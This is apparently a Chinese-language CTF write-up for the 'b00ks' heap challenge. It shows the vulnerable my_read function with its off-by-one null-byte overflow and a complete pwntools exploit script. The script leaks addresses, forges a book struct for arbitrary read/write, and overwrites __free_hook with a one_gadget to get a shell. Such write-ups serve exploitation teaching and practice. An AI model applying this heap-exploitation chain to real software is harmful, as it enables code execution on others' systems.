题目介绍
题目是一个常见的选单式程序,功能是一个图书管理系统。
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
程序提供了创建、删除、编辑、打印图书的功能。题目是 64 位程序,保护如下所示。
Canary : No
NX : Yes
PIE : Yes
Fortify : No
RelRO : Full
结构体
struct book
{
int id;
char *name;
char *description;
int size;
}
漏洞
signed __int64 __fastcall my_read(_BYTE *ptr, int number)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]
if ( number <= 0 )
return 0LL;
buf = ptr;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == '\n' )
break;
++buf;
if ( i == number )
break;
}
*buf = 0;
return 0LL;
}
详细注释
from pwn import *
context.log_level="info"
binary = ELF("b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ubuntu 18.04 libc2.27
io = process("./b00ks")
def createbook(name_size, name, des_size, des):
io.readuntil("> ")
io.sendline("1")
io.readuntil(": ")
io.sendline(str(name_size))
io.readuntil(": ")
io.sendline(name)
io.readuntil(": ")
io.sendline(str(des_size))
io.readuntil(": ")
io.sendline(des)
def printbook(id):
io.readuntil("> ")
io.sendline("4")
io.readuntil(": ")
for i in range(id):
book_id = int(io.readline()[:-1])
io.readuntil(": ")
book_name = io.readline()[:-1]
io.readuntil(": ")
book_des = io.readline()[:-1]
io.readuntil(": ")
book_author = io.readline()[:-1]
return book_id, book_name, book_des, book_author
def createname(name):
io.readuntil("name: ")
io.sendline(name)
def changename(name):
io.readuntil("> ")
io.sendline("5")
io.readuntil(": ")
io.sendline(name)
def editbook(book_id, new_des):
io.readuntil("> ")
io.sendline("3")
io.readuntil(": ")
io.writeline(str(book_id))
io.readuntil(": ")
io.sendline(new_des)
def deletebook(book_id):
io.readuntil("> ")
io.sendline("2")
io.readuntil(": ")
io.sendline(str(book_id))
createname("A" * 32)
createbook(128, "a", 32, "a") #为了对齐describe指针,就是前面book1结构体指针最低位被覆盖/x00后恰好和describe重合,这样不用补全偏移比较方便,另:不同环境情况不同,此法又漏洞,gdb调试即可发现,不细说了,解决方法暂补
createbook(0x21000, "a", 0x21000, "b")#第二本书申请大内存,thread_arena会调用mmap申请内存,而这段内存相对于libc基址的偏移固定
book_id_1, book_name, book_des, book_author = printbook(1)#打印book1信息,offbyone可以让结束符放到指针位置,而指针填充的时候结束符就消失了~~,打印作者可以泄露地址
book1_addr = u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:" + hex(book1_addr))
payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)#伪造假的book1,因为book1的指针可以控制为他的describe指针所指的位置,因此我们修改describe的内容相当于修改book1的内容,通过题目给定的函数操作可以达到任意地址读写
editbook(book_id_1, payload)
changename("A" * 32)#将book1结构体指针指向他的describe,现在describe的内容就是fake_book1
book_id_1, book_name, book_des, book_author = printbook(1)#打印book1的内容,即可打印固定地址的值,这里打印book1_addr + 0x40处的值,其实就是book2的describe的地址
book2_name_addr = u64(book_name.ljust(8,"\x00"))
book2_des_addr = u64(book_des.ljust(8,"\x00"))
log.success("book2 name addr:" + hex(book2_name_addr))
log.success("book2 des addr:" + hex(book2_des_addr))
libc_base = book2_des_addr - 0x5b9010#固定的地址偏移
log.success("libc base:" + hex(libc_base))
free_hook = libc_base + libc.symbols["__free_hook"]
one_gadget = libc_base + 0x4f322 # 0x4f2c5 0x10a38c 0x4f322,one_gadget可以通过工具寻找 pip install one_gadget
log.success("free_hook:" + hex(free_hook))
log.success("one_gadget:" + hex(one_gadget))
editbook(1, p64(free_hook))#将book1(其实是book2的describe的地址)的describe修改为free_hook的地址
editbook(2, p64(one_gadget))#这时候修改book2的describe就是修改free_hook的值
deletebook(2)#删除book2就会触发free,通过检查free_hook不是NULL,从而执行其指向的代码
io.interactive()
网友评论